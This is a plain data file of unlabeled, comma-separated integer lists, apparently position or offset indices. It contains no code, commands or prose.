',521,1228,2854,3118,4820,
',44,94,111,132,166,207,260,305,325,334,350,412,471,1014,1031,1040,1058,1078,1094,1143,1153,1326,1364,1629,1727,1744,1927,1944,1966,2238,2272,2314,2365,2585,2703,2969,2982,3006,3019,3088,3151,3188,3251,3449,3513,3547,3567,3629,3832,4021,4175,4362,4378,4396,4424,4584,4611,4748,4845,4875,4995,5084,5178,5312,5449,5537,5714,5984,6029,6082,6206,6288,6306,6441,6482,6531,6640,6788,6845,6964,7102,7122,7144,7235,7276,7326,7446,7504,7552,7588,7634,7692,7756,7797,7844,7920,8041,8098,8116,
',522,1363,2855,2893,3348,3994,4076,4821,7731,
',3369,3413,
',3329,5590,
',127,142,388,392,394,697,744,845,892,1102,2330,4177,4184,4549,4658,4795,5742,5746,5758,5844,6203,6285,6303,7917,7966,8011,8021,8057,
',1351,1782,2192,2282,2301,2334,2347,2380,2400,2426,2749,2790,3091,4188,
',168,209,317,497,550,559,577,591,616,643,654,688,719,802,867,997,1070,1116,1192,1304,1306,1450,2089,2221,2244,2256,2316,2466,2561,2587,2811,2829,3041,3069,3071,3082,3110,3124,3143,3154,3180,3210,3212,3214,3259,3530,3569,3752,3974,4015,4028,4070,4192,4356,4527,4636,4773,4933,5002,5102,5196,5282,5292,5314,5373,5421,5494,5535,5741,5747,5783,5902,5915,5951,6073,6129,6164,6179,6215,6347,6636,6897,6974,7317,7416,7514,7749,7790,7837,7896,7914,7934,8018,
',23,88,391,602,1004,1194,1420,2198,2213,2278,2331,2333,2419,2755,2943,3507,4196,4491,4712,4843,4873,5294,5375,5423,5880,5930,6381,6728,8060,
',361,367,423,429,451,699,847,1493,1583,1835,2127,2137,2483,2557,2651,2843,2901,2913,2939,2991,3028,3037,3048,3468,3871,3923,4200,4380,4524,4531,4537,4567,4633,4640,4646,4770,4777,4783,4809,4855,4886,5146,5240,5255,5548,5554,5604,5610,5648,5736,5751,5760,6098,6156,6319,6547,6599,6666,6861,6923,6993,7398,7776,8002,8129,
',233,487,694,842,1244,1324,1360,1389,1474,1483,1516,1591,1597,1733,1858,1933,2117,2179,2203,2445,2450,2487,2662,2873,2895,3280,3536,3563,3593,3624,3634,3646,3671,3697,3747,3919,4204,4390,4877,4910,4986,5259,5476,5652,5755,5830,6152,6208,6323,6335,6595,6670,6682,6919,6997,7009,7175,7394,7581,7961,7998,8133,
',1044,1062,1098,1113,1128,1131,1582,2650,3834,4568,5486,5527,5674,5708,5840,5986,6199,6281,6299,6344,6443,6633,6691,6694,6790,6957,6960,7237,7846,
',289,300,686,834,2580,2604,2612,2639,2677,2777,3236,3246,3353,3397,4488,4522,4631,4709,4768,4840,4870,5734,5748,
',564,667,815,1267,1347,1377,1504,1846,2840,3032,3956,3959,4061,4444,4490,4711,4806,4842,4872,4890,5020,5024,5106,5200,5244,5749,5889,5975,6089,6277,6390,6403,6412,6432,6525,6538,6607,6612,6618,6645,6737,6750,6759,6779,6839,6852,6931,6936,6942,6969,7233,7320,7333,7407,7412,7419,7459,7517,7716,8014,8087,
',4208,
',687,835,4212,4523,4632,4769,5735,
',288,346,467,517,528,587,628,784,836,932,1020,1219,1652,1800,1989,2709,3655,3707,3981,3989,5739,5743,5937,6024,6477,
',108,276,287,452,701,837,849,1103,1193,2166,4240,5293,5374,5422,5745,5762,5845,5888,5974,6088,6204,6237,6260,6286,6304,6389,6431,6537,6736,6778,6851,7232,7332,
',491,663,739,811,887,1305,2207,2454,2847,2917,3070,3211,3223,4053,4244,4469,4532,4641,4778,4813,5249,5451,5750,5780,5805,6269,6650,6660,6987,7482,7671,8067,8077,
',174,215,243,693,841,1047,1172,1576,2262,2322,2332,2393,2472,2593,3300,3575,3603,3638,3793,3837,4128,4216,4719,4945,5320,5503,5677,5683,5711,5740,5754,5854,5989,6358,6446,6705,6793,7228,7240,7328,7366,7404,7456,7542,7624,7637,7682,7700,7721,7826,7849,7923,8008,8054,
',292,389,390,453,570,671,681,751,819,829,899,1069,1117,1132,1250,3822,3902,3929,3941,3966,4011,4024,4066,4220,5493,5534,5798,6229,6348,6578,6637,6695,6961,7975,
',3875,4224,6102,6551,6865,
',698,734,745,846,882,893,1101,1687,2616,2716,2807,4152,4228,4454,4512,4529,4530,4538,4550,4566,4622,4625,4638,4639,4647,4659,4759,4762,4775,4776,4784,4796,4920,4971,5042,5071,5087,5126,5165,5181,5220,5352,5388,5725,5728,5759,5843,6202,6284,6302,
',109,120,153,160,183,190,199,223,237,253,355,378,417,440,481,692,746,764,840,894,912,991,1048,1328,1609,2052,2155,2167,2188,2252,2288,2297,2307,2336,2353,2386,2406,2432,2439,2462,2499,2570,2722,2745,2801,3052,3059,3332,3556,3583,3597,3617,3780,3817,3882,4232,4506,4536,4540,4551,4570,4616,4645,4649,4660,4753,4782,4786,4797,4926,5077,5093,5171,5187,5300,5306,5336,5382,5437,5443,5542,5565,5598,5621,5678,5712,5719,5753,5890,5966,5976,6066,6090,6109,6137,6391,6423,6433,6518,6539,6558,6738,6770,6780,6832,6853,6872,7039,7224,7312,7346,7375,7442,7500,7562,7611,7658,7741,7782,7821,7829,7888,7909,7926,7952,
',290,291,393,407,450,695,759,843,907,1368,1407,1532,1584,1695,1877,2229,2233,2360,2369,2373,2443,2652,2859,3493,3642,3683,3716,3728,3998,4236,4400,4533,4642,4779,4825,4847,4999,5052,5429,5756,5781,6224,6293,7735,8103,
',689,1065,1118,1133,1350,1545,1890,3090,4528,4535,4637,4644,4774,4781,5489,5530,5942,6309,6349,6638,6696,6962,8119,
',726,772,874,920,4256,5790,6892,7435,7493,7544,7555,7604,7626,7639,7651,7684,7702,7723,7918,7970,8012,8022,8058,
',134,182,473,696,711,844,859,2045,2147,2266,2413,2476,2577,2601,2609,2636,2674,2774,3539,3674,3702,3896,4169,4260,4438,4489,4515,4710,4841,4871,5328,5757,5772,5887,5973,6087,6123,6388,6430,6536,6572,6735,6777,6850,6886,7231,7331,7360,
',286,1159,4252,7021,7120,7142,
',4248,4525,4634,4771,5737,
',4264,4571,
',2872,3713,
',402,461,691,700,710,718,733,839,848,858,866,881,3854,3855,3857,3862,4539,4548,4648,4657,4785,4794,5752,5761,5771,5782,5797,6043,6044,6046,6051,6496,6497,6499,6504,6810,6811,6813,6818,7290,7291,7293,7298,7866,7867,7877,7882,
',2874,3722,

',3901,4526,4534,4569,4635,4643,4772,4780,5738,5744,6128,6577,6891,7082,7365,

',77,97,171,212,265,343,364,426,492,498,525,554,571,608,625,658,682,740,773,781,806,830,888,921,929,1017,1076,1181,1251,1257,1283,1300,1402,1426,1433,1451,1461,1526,1548,1556,1598,1661,1871,1895,1903,1998,2092,2189,2195,2199,2201,2208,2214,2216,2227,2250,2253,2259,2285,2292,2304,2311,2319,2340,2350,2357,2367,2383,2390,2403,2410,2420,2422,2429,2436,2440,2455,2460,2463,2469,2509,2564,2590,2663,2697,2706,2717,2746,2752,2756,2758,2764,2823,3044,3065,3216,3294,3362,3375,3406,3419,3424,3440,3572,3652,3663,3924,3978,4153,4166,4180,4268,4358,4405,4435,4545,4627,4654,4764,4791,4878,4921,4972,5072,5088,5166,5182,5286,5317,5364,5413,5551,5580,5607,5640,5730,5806,6019,6038,6157,6227,6235,6472,6491,6600,6651,6924,6975,7083,7266,7285,7370,7399,7696,7871,8003,8065,8068,
',67,75,90,125,175,216,244,269,539,639,795,943,1259,2323,2501,2575,2594,2634,2672,2772,2850,2920,3054,3061,3275,3486,3509,3576,3604,3775,3782,3838,4106,4272,4816,5321,5885,5900,5971,5990,6085,6162,6213,6261,6386,6410,6428,6447,6534,6605,6643,6733,6748,6775,6794,6848,6929,6967,7229,7241,7329,7405,7457,7596,7827,7850,7924,8009,8055,
',136,178,184,219,224,247,258,262,272,278,348,469,475,482,519,530,589,630,703,786,851,934,1008,1022,1027,1033,1084,1185,1187,1208,1223,1246,1281,1298,1321,1334,1357,1386,1429,1466,1471,1480,1513,1552,1574,1588,1607,1626,1654,1675,1685,1708,1711,1720,1730,1770,1788,1802,1806,1819,1855,1899,1920,1930,1963,1991,2012,2033,2036,2047,2080,2106,2149,2182,2326,2490,2514,2597,2711,2887,2897,2932,2946,2959,2999,3063,3283,3289,3382,3432,3445,3452,3475,3579,3584,3607,3657,3825,3841,3863,3874,3886,3905,3925,3932,3944,3969,3991,4014,4027,4069,4088,4114,4276,4403,4483,4486,4686,4698,4704,4707,4835,4838,4865,4868,4901,4913,5262,5274,5324,5330,5360,5409,5467,5479,5631,5655,5667,5764,5803,5821,5833,5895,5912,5981,5993,6052,6070,6095,6101,6113,6158,6176,6234,6326,6338,6396,6400,6438,6450,6505,6522,6544,6550,6562,6581,6601,6615,6673,6685,6743,6756,6785,6797,6819,6836,6858,6864,6876,6925,6939,7000,7012,7076,7085,7090,7168,7178,7187,7244,7299,7338,7350,7400,7743,7761,7767,7784,7802,7808,7831,7853,7870,7890,7928,7944,7956,7980,8004,8036,8046,8093,8111,8136,
',79,332,339,366,428,534,556,634,660,714,790,808,862,938,1029,1142,1148,1210,1225,1262,1313,1323,1336,1355,1359,1388,1396,1403,1427,1435,1442,1455,1462,1473,1482,1495,1515,1525,1547,1558,1565,1590,1612,1732,1743,1749,1837,1857,1905,1912,1932,1943,1949,2082,2129,2139,2174,2228,2251,2368,2461,2485,2503,2510,2519,2527,2656,2685,2719,2792,2929,2974,2981,2987,3011,3018,3024,3030,3050,3095,3197,3220,3271,3293,3335,3374,3418,3437,3439,3470,3763,3771,3980,4045,4102,4123,4155,4172,4280,4441,4456,4582,4609,4628,4673,4681,4765,4888,4896,4923,4974,5044,5074,5090,5128,5168,5184,5222,5242,5257,5288,5366,5415,5462,5553,5609,5650,5731,5775,5801,5816,6321,6668,6894,6995,7155,7163,7600,7978,8131,
',4,11,15,18,63,66,72,89,100,105,106,121,147,154,162,170,173,177,192,200,211,214,218,236,241,246,254,264,267,271,321,357,375,408,419,437,494,505,545,566,603,664,669,675,723,727,742,755,762,776,812,817,823,871,875,890,903,910,924,952,958,967,974,978,981,993,1001,1007,1045,1056,1063,1067,1099,1114,1129,1157,1189,1197,1203,1220,1234,1253,1260,1264,1286,1303,1311,1370,1409,1441,1463,1465,1469,1528,1534,1550,1564,1578,1601,1610,1618,1623,1627,1638,1641,1647,1664,1672,1676,1682,1688,1694,1696,1705,1709,1715,1759,1776,1778,1879,1911,1955,1960,1964,1975,1978,1984,2001,2009,2013,2019,2030,2034,2040,2054,2055,2071,2084,2086,2112,2114,2157,2158,2163,2164,2172,2191,2206,2210,2232,2234,2255,2258,2261,2264,2270,2291,2298,2310,2318,2321,2325,2339,2356,2363,2372,2374,2389,2395,2409,2417,2435,2442,2448,2453,2457,2465,2468,2471,2474,2480,2511,2513,2517,2536,2543,2547,2550,2563,2571,2589,2592,2596,2617,2620,2646,2666,2683,2699,2737,2739,2748,2766,2783,2789,2803,2825,2851,2861,2921,2930,2944,2964,2994,3043,3068,3114,3134,3147,3158,3169,3172,3184,3195,3219,3224,3263,3269,3303,3310,3314,3317,3333,3341,3344,3364,3386,3408,3427,3435,3455,3461,3463,3494,3508,3518,3522,3557,3571,3574,3578,3596,3601,3606,3618,3627,3640,3643,3649,3686,3700,3706,3710,3719,3729,3750,3756,3761,3769,3787,3796,3803,3807,3810,3818,3826,3829,3835,3840,3873,3877,3883,3885,3906,3933,3945,3948,3970,3984,4000,4043,4054,4083,4100,4131,4138,4142,4145,4160,4284,4372,4418,4427,4470,4485,4495,4508,4513,4519,4547,4558,4587,4596,4599,4618,4623,4626,4656,4671,4679,4706,4722,4729,4733,4736,4744,4755,4760,4763,4793,4817,4827,4837,4850,4858,4867,4881,4894,4948,4955,4959,4962,4979,5054,5149,5250,5301,5308,5316,5319,5323,5338,5384,5396,5400,5404,5406,5432,5438,5445,5460,5487,5491,5506,5513,5517,5520,5528,5532,5544,5562,5577,5582,5600,5618,5637,5642,5675,5686,5693,5697,5700,5709,5721,5726,5729,5787,5791,5808,5814,5841,5857,5864,5868,5871,5891,5896,5908,5921,5944,5957,5967,5977,5982,5987,5992,6014,6025,6027,6033,6040,6067,6079,6091,6096,6100,6104,6110,6112,6135,6141,6170,6185,6200,6221,6238,6270,6282,6295,6300,6345,6361,6368,6372,6375,6392,6397,6405,6414,6424,6434,6439,6444,6449,6467,6478,6480,6486,6493,6519,6527,6540,6545,6549,6553,6559,6561,6582,6609,6620,6634,6647,6653,6661,6692,6708,6715,6719,6722,6739,6744,6752,6761,6771,6781,6786,6791,6796,6833,6841,6854,6859,6863,6867,6873,6875,6895,6905,6933,6944,6958,6971,6988,7019,7041,7045,7053,7062,7069,7077,7089,7094,7111,7118,7131,7134,7140,7153,7161,7201,7208,7212,7215,7225,7238,7243,7261,7272,7274,7280,7287,7313,7322,7335,7337,7341,7347,7349,7368,7379,7409,7421,7436,7461,7465,7483,7494,7519,7524,7545,7556,7605,7627,7640,7652,7672,7685,7694,7703,7724,7737,7742,7750,7753,7760,7768,7771,7779,7783,7791,7794,7801,7809,7812,7822,7830,7838,7841,7847,7852,7889,7897,7900,7910,7927,7935,7938,7941,7943,7947,7953,7955,8070,8078,8105,
',96,203,283,513,708,856,1081,1092,1217,1316,1348,1378,1498,1505,1632,1644,1660,1840,1847,1969,1981,1997,2132,2142,2841,2884,3033,3107,3200,3423,3472,3503,3766,3891,3957,4048,4062,4111,4288,4481,4542,4651,4676,4683,4695,4788,4807,4891,4898,5021,5245,5271,5464,5664,5769,5818,6118,6278,6567,6881,7028,7158,7165,7184,7355,7717,8033,8043,8088,8090,8108,
',92,129,144,231,257,383,445,769,917,1156,1169,1241,1285,1302,1417,1437,1542,1560,1573,1606,1684,1887,1907,2727,2869,2880,3067,3207,3218,3325,3338,3361,3381,3405,3431,3451,3490,3511,3545,3562,3591,3623,3633,3680,3696,3746,3849,4514,4624,4761,4931,5082,5098,5176,5192,5349,5358,5457,5570,5626,5727,5939,6001,6458,6805,7018,7032,7117,7139,7252,7374,7861,
',27,36,47,62,68,159,161,191,307,336,354,356,416,418,544,573,578,592,617,644,684,832,949,990,992,1139,1173,1233,1282,1299,1369,1408,1533,1740,1756,1758,1789,1807,1878,1940,2068,2070,2800,2802,2812,2830,2860,2978,3015,3064,3078,3097,3120,3133,3215,3227,3253,3367,3411,3521,3926,3999,4082,4120,4357,4404,4484,4494,4505,4507,4579,4606,4615,4617,4705,4752,4754,4826,4836,4866,5053,5103,5197,5307,5337,5383,5399,5444,5454,5541,5543,5597,5599,5718,5720,6159,6230,6294,6602,6926,7033,7038,7040,7086,7110,7401,7736,7873,8005,8104,
',24,86,138,186,226,229,234,277,331,338,344,370,381,432,443,477,484,512,526,533,606,610,626,633,702,712,730,767,782,789,850,860,878,915,930,937,950,1005,1018,1141,1147,1176,1182,1216,1263,1270,1288,1315,1331,1380,1497,1507,1645,1680,1742,1748,1772,1821,1827,1839,1849,1867,1892,1942,1948,1982,2017,2049,2096,2101,2108,2131,2141,2151,2184,2193,2204,2268,2279,2283,2302,2348,2381,2401,2415,2427,2446,2451,2478,2492,2526,2578,2602,2610,2637,2675,2707,2725,2750,2775,2881,2889,2948,2951,2973,2980,2986,3010,3017,3023,3106,3199,3285,3336,3477,3492,3502,3505,3541,3543,3586,3589,3594,3625,3647,3653,3676,3678,3698,3704,3708,3717,3727,3748,3765,3846,3864,3897,3937,3982,4010,4023,4047,4065,4090,4096,4116,4122,4158,4394,4480,4517,4581,4608,4675,4688,4700,4903,4915,4929,4977,4990,5080,5096,5174,5190,5264,5276,5332,5356,5455,5469,5481,5557,5568,5613,5624,5657,5669,5763,5773,5794,5823,5835,5881,5894,5931,5980,5998,6011,6021,6030,6053,6094,6124,6173,6209,6233,6328,6340,6382,6395,6437,6455,6464,6474,6483,6506,6543,6573,6675,6687,6729,6742,6784,6802,6820,6857,6887,6893,6978,7002,7014,7027,7031,7048,7067,7087,7157,7170,7180,7249,7258,7268,7277,7300,7361,7372,7439,7451,7468,7497,7509,7527,7548,7559,7608,7630,7643,7655,7663,7688,7706,7727,7746,7764,7787,7805,7834,7858,7893,7931,7969,7971,8061,8138,
',57,126,176,217,245,270,2324,2576,2595,2635,2673,2773,3577,3605,3839,4292,5322,5886,5901,5972,5991,6086,6163,6214,6387,6411,6429,6448,6535,6606,6644,6734,6749,6776,6795,6849,6930,6968,7230,7242,7330,7406,7458,7828,7851,7925,8010,8056,
',1247,1726,1926,2094,2095,2898,3005,4296,4487,4708,4743,4839,4869,6311,8121,
',98,104,163,164,193,194,235,358,359,420,421,489,490,499,500,774,922,951,994,995,1167,1188,1239,1254,1271,1272,1330,1400,1415,1424,1452,1453,1459,1540,1599,1646,1662,1712,1760,1761,1872,1873,1885,1896,1897,1983,1999,2037,2053,2072,2073,2097,2098,2156,2162,2205,2447,2452,2507,2522,2562,2659,2664,2804,2805,2867,2878,2992,3042,3170,3205,3323,3425,3488,3560,3595,3621,3626,3631,3648,3694,3699,3744,3749,3753,3884,4375,4421,4430,4509,4510,4561,4590,4597,4619,4620,4756,4757,4856,4879,5147,5309,5310,5339,5340,5347,5385,5386,5401,5402,5446,5447,5545,5546,5601,5602,5722,5723,5914,6028,6072,6111,6178,6228,6236,6402,6481,6524,6560,6617,6758,6838,6874,6903,6904,6941,7042,7043,7132,7271,7275,7319,7348,7418,7450,7508,7516,7697,7777,7868,7872,7916,7954,7987,8020,8064,
',14,25,146,242,342,374,409,436,465,493,502,515,524,552,553,567,585,624,656,657,670,741,780,804,805,818,889,928,977,1016,1028,1180,1209,1224,1256,1322,1335,1358,1387,1431,1432,1472,1481,1514,1554,1555,1589,1650,1731,1798,1856,1901,1902,1931,1987,2081,2102,2209,2280,2293,2312,2341,2358,2391,2411,2437,2456,2546,2705,2721,2849,2919,3313,3602,3651,3718,3784,3806,3848,3850,3865,3894,3976,3977,3987,4141,4157,4324,4381,4732,4815,4925,4958,4976,5076,5092,5170,5186,5284,5285,5362,5363,5411,5412,5516,5561,5581,5617,5633,5641,5696,5807,5867,5882,5904,5917,5932,5953,6000,6002,6012,6031,6054,6075,6121,6131,6142,6166,6181,6217,6239,6371,6383,6406,6415,6457,6459,6465,6484,6507,6528,6570,6610,6621,6648,6652,6718,6730,6753,6762,6804,6806,6821,6842,6884,6934,6945,6972,7052,7063,7070,7211,7251,7253,7259,7278,7301,7323,7358,7380,7410,7422,7462,7520,7860,7862,7964,8069,
',2,17,56,71,148,230,322,345,365,368,373,376,382,427,430,435,438,444,527,546,555,607,612,627,659,713,724,732,736,768,783,807,861,872,880,884,916,931,965,980,1002,1019,1035,1083,1183,1201,1221,1235,1252,1284,1301,1312,1354,1371,1381,1399,1410,1423,1434,1458,1494,1508,1535,1557,1579,1611,1622,1625,1639,1671,1674,1692,1704,1707,1722,1765,1836,1850,1866,1868,1880,1891,1904,1922,1959,1962,1976,2008,2011,2029,2032,2077,2128,2138,2173,2181,2186,2194,2223,2246,2284,2303,2349,2382,2396,2402,2428,2484,2489,2494,2506,2534,2549,2579,2603,2611,2638,2647,2676,2684,2708,2718,2726,2751,2776,2787,2809,2862,2882,2886,2891,2953,2961,3001,3029,3049,3066,3085,3094,3115,3127,3135,3148,3159,3185,3196,3217,3264,3270,3282,3287,3291,3301,3316,3334,3337,3387,3436,3447,3459,3469,3474,3479,3523,3532,3544,3590,3641,3654,3679,3709,3762,3770,3794,3809,3847,3898,3938,3960,3979,3983,4001,4018,4031,4044,4073,4084,4101,4113,4118,4129,4144,4154,4328,4445,4455,4496,4672,4680,4685,4690,4697,4702,4720,4735,4828,4887,4895,4900,4905,4912,4917,4922,4930,4936,4946,4961,4973,5005,5025,5043,5055,5073,5081,5089,5097,5107,5127,5167,5175,5183,5191,5201,5221,5241,5256,5261,5266,5273,5278,5287,5354,5355,5357,5365,5390,5414,5456,5461,5466,5471,5478,5483,5504,5519,5552,5555,5560,5563,5569,5579,5608,5611,5616,5619,5625,5639,5649,5654,5659,5666,5671,5684,5699,5774,5788,5796,5815,5820,5825,5832,5837,5855,5870,5941,5999,6018,6023,6037,6125,6174,6296,6310,6312,6315,6320,6325,6330,6337,6342,6359,6374,6456,6471,6476,6490,6574,6613,6667,6672,6677,6684,6689,6706,6721,6803,6888,6899,6937,6980,6994,6999,7004,7011,7016,7046,7051,7054,7112,7154,7162,7167,7172,7177,7182,7186,7199,7214,7250,7265,7270,7284,7362,7373,7413,7441,7470,7499,7529,7550,7561,7599,7610,7632,7645,7657,7690,7708,7729,7738,7751,7769,7792,7810,7839,7859,7898,7936,7967,8015,8035,8045,8092,8106,8110,8120,8122,8125,8130,8135,8140,
',1,7,28,37,55,69,76,124,205,268,280,282,301,308,347,372,434,468,518,529,551,560,588,611,629,655,673,705,707,715,731,753,785,803,821,853,855,863,879,901,933,964,970,1010,1021,1034,1038,1168,1200,1240,1279,1352,1397,1401,1416,1421,1425,1430,1438,1456,1460,1541,1553,1561,1621,1624,1634,1636,1653,1670,1673,1691,1703,1706,1713,1721,1725,1801,1886,1900,1908,1921,1925,1958,1961,1971,1973,1990,2007,2010,2028,2031,2038,2185,2222,2245,2444,2493,2504,2508,2533,2539,2574,2633,2644,2671,2701,2710,2720,2768,2771,2786,2791,2827,2868,2890,2904,2952,2960,2967,3000,3004,3079,3083,3092,3098,3121,3125,3206,3228,3237,3247,3254,3286,3290,3306,3324,3354,3384,3391,3398,3446,3458,3478,3489,3531,3537,3561,3565,3622,3632,3636,3656,3672,3695,3745,3754,3799,3821,3824,3859,3860,3893,3904,3920,3928,3931,3940,3943,3965,3968,3975,3990,4013,4016,4026,4029,4068,4071,4117,4134,4156,4170,4300,4391,4401,4439,4541,4650,4689,4701,4725,4787,4904,4916,4924,4934,4951,4975,4987,5000,5003,5075,5091,5169,5185,5265,5277,5283,5348,5361,5394,5410,5452,5470,5482,5509,5559,5615,5632,5658,5670,5689,5766,5768,5776,5795,5800,5824,5836,5860,5884,5899,5903,5913,5916,5938,5940,5952,5970,6017,6022,6036,6048,6049,6071,6074,6084,6120,6130,6153,6161,6165,6177,6180,6212,6216,6225,6240,6313,6329,6341,6364,6385,6401,6427,6470,6475,6489,6501,6502,6523,6533,6569,6580,6585,6596,6604,6616,6642,6676,6688,6711,6732,6747,6757,6774,6815,6816,6837,6847,6883,6896,6898,6902,6920,6928,6940,6966,6979,7003,7015,7050,7075,7080,7171,7181,7198,7204,7264,7269,7283,7295,7296,7318,7357,7395,7417,7440,7469,7498,7515,7528,7549,7560,7582,7593,7597,7609,7631,7644,7656,7689,7707,7728,7869,7874,7879,7880,7915,7963,7977,7999,8019,8123,8139,
',50,107,139,187,227,363,410,425,478,485,548,561,652,674,754,761,800,822,902,909,1199,1329,1524,1546,1577,1637,1690,1773,1822,1974,2056,2109,2152,2159,2165,2231,2362,2371,2394,2583,2607,2615,2642,2645,2680,2780,2785,2877,2949,3366,3368,3385,3390,3410,3412,3457,3587,3639,4091,4304,4382,5280,5290,5304,5333,5371,5380,5393,5419,5441,5550,5606,5634,5905,5918,5954,6013,6032,6076,6132,6167,6182,6218,6466,6485,6976,7073,7260,7279,7367,7449,7507,8063,
',1825,2618,3342,4094,4308,7339,7945,7986,
',5,6,8,10,54,65,78,128,137,143,169,185,210,225,263,279,319,320,330,371,380,433,442,476,483,532,579,593,618,632,645,672,676,704,721,722,728,752,756,766,788,820,824,852,869,870,876,900,904,914,936,956,968,969,971,973,999,1000,1006,1011,1057,1068,1146,1196,1275,1384,1511,1679,1747,1763,1771,1790,1808,1820,1853,1947,2016,2048,2075,2107,2150,2196,2257,2265,2267,2286,2290,2305,2309,2317,2338,2351,2355,2384,2388,2404,2408,2414,2430,2434,2467,2475,2477,2521,2537,2538,2540,2542,2558,2559,2565,2588,2658,2695,2724,2753,2762,2782,2813,2821,2831,2844,2845,2852,2902,2903,2905,2914,2915,2922,2940,2941,2947,2965,2966,2968,2985,3022,3038,3039,3045,3112,3113,3145,3146,3156,3157,3182,3183,3261,3262,3304,3305,3307,3309,3340,3454,3516,3538,3540,3570,3585,3673,3675,3684,3703,3797,3798,3800,3802,3823,3858,3878,3892,3903,3921,3930,3942,3963,3967,4012,4025,4067,4089,4132,4133,4135,4137,4167,4168,4171,4178,4179,4312,4359,4371,4392,4406,4417,4426,4436,4437,4440,4516,4546,4557,4586,4655,4723,4724,4726,4728,4792,4810,4811,4818,4848,4928,4949,4950,4952,4954,4988,5079,5095,5104,5173,5189,5198,5315,5331,5397,5430,5492,5507,5508,5510,5512,5533,5558,5567,5578,5614,5623,5638,5687,5688,5690,5692,5765,5785,5786,5792,5799,5858,5859,5861,5863,5892,5909,5922,5936,5945,5950,5958,5978,6015,6034,6047,6080,6092,6105,6119,6136,6154,6171,6186,6222,6241,6362,6363,6365,6367,6393,6435,6468,6487,6500,6541,6554,6568,6579,6586,6597,6709,6710,6712,6714,6740,6782,6814,6855,6868,6882,6901,6906,6921,7030,7049,7074,7081,7084,7093,7202,7203,7205,7207,7262,7281,7294,7342,7356,7369,7396,7437,7444,7466,7495,7502,7525,7546,7557,7564,7583,7606,7613,7628,7641,7653,7660,7686,7704,7725,7745,7754,7763,7772,7786,7795,7804,7813,7833,7842,7878,7892,7901,7930,7939,7948,7962,7972,7976,8000,
',12,29,38,59,87,99,103,130,135,150,158,204,239,281,299,302,309,316,353,384,406,415,446,474,540,549,604,640,653,706,717,729,796,801,854,865,877,944,975,989,1039,1043,1055,1061,1066,1097,1178,1198,1202,1382,1509,1600,1617,1633,1663,1689,1693,1714,1755,1757,1769,1818,1851,1869,1893,1954,1970,2000,2039,2046,2067,2069,2093,2105,2148,2161,2224,2247,2544,2621,2665,2682,2693,2696,2715,2760,2763,2784,2788,2799,2819,2822,2931,2945,2993,3080,3099,3109,3122,3142,3153,3171,3179,3229,3235,3238,3245,3248,3255,3258,3273,3311,3345,3352,3355,3392,3396,3399,3426,3434,3456,3460,3484,3506,3533,3564,3599,3635,3755,3773,3804,3827,3828,3830,3852,3907,3908,3934,3935,3946,3947,3949,3961,3971,3972,4087,4104,4139,4173,4316,4360,4373,4407,4419,4428,4442,4504,4559,4588,4598,4614,4730,4751,4857,4880,4919,4956,5070,5086,5148,5164,5180,5281,5291,5305,5329,5372,5381,5398,5420,5442,5485,5490,5514,5526,5531,5540,5571,5576,5596,5627,5673,5694,5707,5717,5767,5778,5793,5839,5865,5934,5943,5948,6004,6016,6035,6139,6198,6232,6280,6298,6369,6407,6461,6469,6488,6529,6583,6584,6622,6716,6763,6808,6843,6946,7037,7058,7060,7078,7079,7133,7209,7255,7263,7282,7316,7324,7377,7403,7415,7423,7434,7438,7448,7455,7467,7492,7496,7506,7513,7521,7526,7541,7543,7547,7554,7558,7603,7607,7623,7625,7629,7636,7638,7642,7650,7654,7681,7683,7687,7699,7701,7705,7720,7722,7726,7740,7759,7778,7781,7800,7825,7864,7875,7887,7913,7922,7974,8007,8017,8053,8062,
',20,30,39,48,49,60,61,64,73,122,140,149,155,172,179,188,201,213,220,228,240,248,255,266,273,284,303,310,323,377,379,439,441,479,486,504,543,565,572,605,609,668,677,683,709,725,757,765,816,825,831,857,873,905,913,955,983,1003,1009,1046,1064,1100,1115,1130,1158,1177,1232,1274,1278,1289,1332,1383,1439,1440,1468,1510,1527,1549,1562,1563,1619,1640,1643,1681,1698,1774,1823,1828,1852,1870,1894,1909,1910,1956,1977,1980,2018,2050,2091,2110,2153,2183,2200,2215,2225,2236,2248,2260,2269,2289,2299,2308,2320,2327,2337,2354,2376,2387,2407,2416,2421,2433,2470,2479,2491,2516,2552,2572,2581,2582,2591,2598,2605,2606,2613,2614,2622,2640,2641,2678,2679,2694,2700,2723,2757,2761,2767,2778,2779,2820,2826,2888,2950,3081,3086,3100,3116,3123,3128,3132,3149,3160,3186,3230,3239,3249,3256,3265,3284,3295,3319,3346,3356,3363,3376,3393,3400,3407,3420,3441,3462,3465,3476,3496,3515,3520,3534,3542,3558,3573,3580,3588,3600,3608,3619,3645,3665,3667,3677,3705,3731,3786,3812,3819,3836,3842,3851,3861,3887,3962,4019,4032,4056,4074,4081,4092,4097,4115,4147,4320,4376,4383,4422,4431,4446,4472,4493,4518,4543,4562,4591,4652,4687,4699,4738,4789,4902,4914,4927,4937,4964,5006,5026,5078,5094,5108,5172,5188,5202,5252,5263,5275,5302,5318,5325,5334,5439,5453,5468,5480,5488,5522,5529,5564,5566,5620,5622,5636,5656,5668,5676,5702,5710,5770,5789,5804,5822,5834,5842,5873,5907,5920,5935,5949,5956,5968,5988,5994,6003,6020,6039,6050,6068,6078,6114,6134,6140,6169,6184,6201,6220,6226,6272,6283,6301,6327,6339,6346,6377,6404,6413,6425,6445,6451,6460,6473,6492,6503,6520,6526,6563,6608,6619,6635,6646,6663,6674,6686,6693,6724,6751,6760,6772,6792,6798,6807,6817,6834,6840,6877,6900,6932,6943,6959,6970,6977,6990,7001,7013,7020,7034,7055,7061,7068,7088,7091,7109,7119,7141,7169,7179,7217,7226,7239,7245,7254,7267,7286,7297,7314,7321,7351,7371,7378,7408,7420,7443,7452,7460,7485,7501,7510,7518,7563,7592,7612,7659,7674,7747,7752,7765,7770,7788,7793,7806,7811,7823,7835,7840,7848,7854,7863,7876,7881,7894,7899,7911,7932,7937,7957,7968,7981,8080,8137,
